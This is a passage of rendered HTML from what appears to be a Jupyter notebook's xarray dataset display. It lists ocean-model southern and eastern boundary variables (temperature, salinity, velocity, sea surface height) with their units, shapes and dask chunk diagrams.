id='data-ef902dc5-712a-4c8c-aedd-f2d69a6c0608' class='xr-var-data-in' type='checkbox'><label for='data-ef902dc5-712a-4c8c-aedd-f2d69a6c0608' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>days since 2000-01-01 00:00:00</dd><dt><span>units :</span></dt><dd>days</dd></dl></div><div class='xr-var-data'><pre>array([4383.5, 4384.5, 4385.5, 4386.5])</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-59efa034-9c38-4034-9d67-3e628e352cac' class='xr-section-summary-in' type='checkbox' ><label for='section-59efa034-9c38-4034-9d67-3e628e352cac' class='xr-section-summary' >Data variables: <span>(28)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>temp_south</span></div><div class='xr-var-dims'>(bry_time, s_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-ba625e53-3a56-480b-89d7-2a59aa3d9bd7' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-ba625e53-3a56-480b-89d7-2a59aa3d9bd7' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-1e51276e-4ff0-4e15-9d0d-4cfe6ddee7e3' class='xr-var-data-in' type='checkbox'><label for='data-1e51276e-4ff0-4e15-9d0d-4cfe6ddee7e3' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary potential temperature</dd><dt><span>units :</span></dt><dd>degrees Celsius</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 159.38 kiB </td>\n", " <td> 39.84 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 102) </td>\n", " <td> (1, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 89 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"199\" height=\"187\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"29\" y2=\"19\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line 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text-anchor=\"middle\" >102</text>\n", " <text x=\"169.419308\" y=\"78.242837\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,169.419308,78.242837)\">100</text>\n", " <text x=\"9.709654\" y=\"147.356713\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,9.709654,147.356713)\">4</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>salt_south</span></div><div class='xr-var-dims'>(bry_time, s_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-d5efbb06-0a10-498e-b580-2b8049975ac3' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-d5efbb06-0a10-498e-b580-2b8049975ac3' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-b950304a-0706-46b6-90f7-d8918bfda030' class='xr-var-data-in' type='checkbox'><label for='data-b950304a-0706-46b6-90f7-d8918bfda030' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary salinity</dd><dt><span>units :</span></dt><dd>PSU</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 159.38 kiB </td>\n", " <td> 39.84 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 102) </td>\n", " <td> (1, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 89 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"199\" height=\"187\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"29\" y2=\"19\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"14\" y1=\"4\" x2=\"14\" y2=\"122\" />\n", " <line x1=\"19\" y1=\"9\" x2=\"19\" y2=\"127\" />\n", " <line x1=\"24\" y1=\"14\" x2=\"24\" y2=\"132\" />\n", " <line x1=\"29\" y1=\"19\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 29.419308022979912,19.419308022979912 29.419308022979912,137.0663668465093 10.0,117.6470588235294\" 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/>\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"29\" y1=\"19\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" />\n", " <line x1=\"149\" y1=\"19\" x2=\"149\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"29.419308022979912,19.419308022979912 149.41930802297992,19.419308022979912 149.41930802297992,137.0663668465093 29.419308022979912,137.0663668465093\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"89.419308\" y=\"157.066367\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"169.419308\" y=\"78.242837\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,169.419308,78.242837)\">100</text>\n", " <text x=\"9.709654\" y=\"147.356713\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,9.709654,147.356713)\">4</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>u_south</span></div><div class='xr-var-dims'>(bry_time, s_rho, xi_u)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 101), meta=np.ndarray&gt;</div><input id='attrs-d4ddfe39-97ee-4655-8cb4-bc7004896f7e' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-d4ddfe39-97ee-4655-8cb4-bc7004896f7e' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-4fd019fb-147f-4427-9b02-6fd422ab1e21' class='xr-var-data-in' type='checkbox'><label for='data-4fd019fb-147f-4427-9b02-6fd422ab1e21' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary u-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 157.81 kiB </td>\n", " <td> 39.45 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 101) </td>\n", " <td> (1, 100, 101) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 122 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"199\" height=\"188\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"29\" y2=\"19\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"118\" x2=\"29\" y2=\"138\" style=\"stroke-width:2\" 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for='attrs-09d3c8e0-b59f-4d63-94be-832fd566f129' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-78e13946-7127-4ca8-9eb2-b39e803b47c4' class='xr-var-data-in' type='checkbox'><label for='data-78e13946-7127-4ca8-9eb2-b39e803b47c4' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary v-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 159.38 kiB </td>\n", " <td> 39.84 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 102) </td>\n", " <td> (1, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 122 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"199\" height=\"187\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"29\" y2=\"19\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"14\" y1=\"4\" x2=\"14\" y2=\"122\" />\n", " <line x1=\"19\" y1=\"9\" x2=\"19\" y2=\"127\" />\n", " <line x1=\"24\" y1=\"14\" x2=\"24\" y2=\"132\" />\n", " <line x1=\"29\" y1=\"19\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- 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font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,9.709654,147.356713)\">4</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>zeta_south</span></div><div class='xr-var-dims'>(bry_time, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 102), meta=np.ndarray&gt;</div><input id='attrs-c4be5c82-f728-4ffb-a5af-56a790811a35' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-c4be5c82-f728-4ffb-a5af-56a790811a35' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-a7e02a25-c013-4c28-95a8-7bc3b4ccb8b4' class='xr-var-data-in' type='checkbox'><label for='data-a7e02a25-c013-4c28-95a8-7bc3b4ccb8b4' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary sea surface height</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 1.59 kiB </td>\n", " <td> 408 B </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 102) </td>\n", " <td> (1, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 48 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"170\" height=\"83\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"120\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"8\" x2=\"120\" y2=\"8\" />\n", " <line x1=\"0\" y1=\"16\" x2=\"120\" y2=\"16\" />\n", " <line x1=\"0\" y1=\"24\" x2=\"120\" y2=\"24\" />\n", " <line x1=\"0\" y1=\"33\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"33\" style=\"stroke-width:2\" />\n", " <line x1=\"120\" y1=\"0\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 120.0,0.0 120.0,33.01282363906585 0.0,33.01282363906585\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"60.000000\" y=\"53.012824\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"140.000000\" y=\"16.506412\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(0,140.000000,16.506412)\">4</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>ubar_south</span></div><div class='xr-var-dims'>(bry_time, xi_u)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 101), meta=np.ndarray&gt;</div><input id='attrs-81c2bf06-dfb6-458f-ba5e-567644b9e302' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-81c2bf06-dfb6-458f-ba5e-567644b9e302' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-8a203e05-27f2-42ab-b75f-a5d606cb5d81' class='xr-var-data-in' type='checkbox'><label for='data-8a203e05-27f2-42ab-b75f-a5d606cb5d81' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary vertically integrated u-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 1.58 kiB </td>\n", " <td> 404 B </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 101) </td>\n", " <td> (1, 101) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 132 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"170\" height=\"83\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"120\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" 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class='xr-var-name'><span>vbar_south</span></div><div class='xr-var-dims'>(bry_time, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 102), meta=np.ndarray&gt;</div><input id='attrs-9730834d-4de6-41c6-a562-800d8635f821' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-9730834d-4de6-41c6-a562-800d8635f821' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-8dc58c39-bbc5-4022-9a94-5e1cf19d34a7' class='xr-var-data-in' type='checkbox'><label for='data-8dc58c39-bbc5-4022-9a94-5e1cf19d34a7' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>southern boundary vertically integrated v-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 1.59 kiB </td>\n", " <td> 408 B </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 102) </td>\n", " <td> (1, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 132 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"170\" height=\"83\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"120\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"8\" x2=\"120\" y2=\"8\" />\n", " <line x1=\"0\" y1=\"16\" x2=\"120\" y2=\"16\" />\n", " <line x1=\"0\" y1=\"24\" x2=\"120\" y2=\"24\" />\n", " <line x1=\"0\" y1=\"33\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"33\" style=\"stroke-width:2\" />\n", " <line x1=\"120\" y1=\"0\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 120.0,0.0 120.0,33.01282363906585 0.0,33.01282363906585\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"60.000000\" y=\"53.012824\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"140.000000\" y=\"16.506412\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(0,140.000000,16.506412)\">4</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>temp_east</span></div><div class='xr-var-dims'>(bry_time, s_rho, eta_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-b9f4bbd1-01e5-4d43-8ceb-cf8b9341768b' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-b9f4bbd1-01e5-4d43-8ceb-cf8b9341768b' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-6bae10d8-e8c6-45a6-9cd1-f1d53252a687' class='xr-var-data-in' type='checkbox'><label for='data-6bae10d8-e8c6-45a6-9cd1-f1d53252a687' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary potential temperature</dd><dt><span>units :</span></dt><dd>degrees Celsius</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 159.38 kiB </td>\n", " <td> 39.84 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 102) </td>\n", " <td> (1, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 89 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"199\" height=\"187\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"29\" y2=\"19\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" 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xlink:href='#icon-file-text2'></use></svg></label><input id='data-f40abc10-794b-43bd-a59a-78e5bcd67f16' class='xr-var-data-in' type='checkbox'><label for='data-f40abc10-794b-43bd-a59a-78e5bcd67f16' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary salinity</dd><dt><span>units :</span></dt><dd>PSU</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 159.38 kiB </td>\n", " <td> 39.84 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 102) </td>\n", " <td> (1, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 89 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"199\" height=\"187\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"29\" y2=\"19\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"14\" y1=\"4\" x2=\"14\" y2=\"122\" />\n", " <line x1=\"19\" y1=\"9\" x2=\"19\" y2=\"127\" />\n", " <line x1=\"24\" y1=\"14\" x2=\"24\" y2=\"132\" />\n", " <line x1=\"29\" y1=\"19\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 29.419308022979912,19.419308022979912 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:</span></dt><dd>eastern boundary u-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 159.38 kiB </td>\n", " <td> 39.84 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 102) </td>\n", " <td> (1, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 122 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"199\" height=\"187\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"29\" 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class='xr-var-attrs-in' type='checkbox' ><label for='attrs-4a16ea83-1471-40fd-a503-20cd9bb4952c' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-f953c188-f766-438d-b79c-1e11e0605f12' class='xr-var-data-in' type='checkbox'><label for='data-f953c188-f766-438d-b79c-1e11e0605f12' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary v-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 157.81 kiB </td>\n", " <td> 39.45 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 101) </td>\n", " <td> (1, 100, 101) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 122 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"199\" height=\"188\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"29\" y2=\"19\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"118\" x2=\"29\" y2=\"138\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"118\" style=\"stroke-width:2\" />\n", " <line x1=\"14\" y1=\"4\" x2=\"14\" y2=\"123\" />\n", " <line x1=\"19\" y1=\"9\" x2=\"19\" y2=\"128\" />\n", " <line x1=\"24\" y1=\"14\" x2=\"24\" y2=\"133\" />\n", " <line x1=\"29\" y1=\"19\" x2=\"29\" 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class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary sea surface height</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 1.59 kiB </td>\n", " <td> 408 B </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 102) </td>\n", " <td> (1, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 48 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg 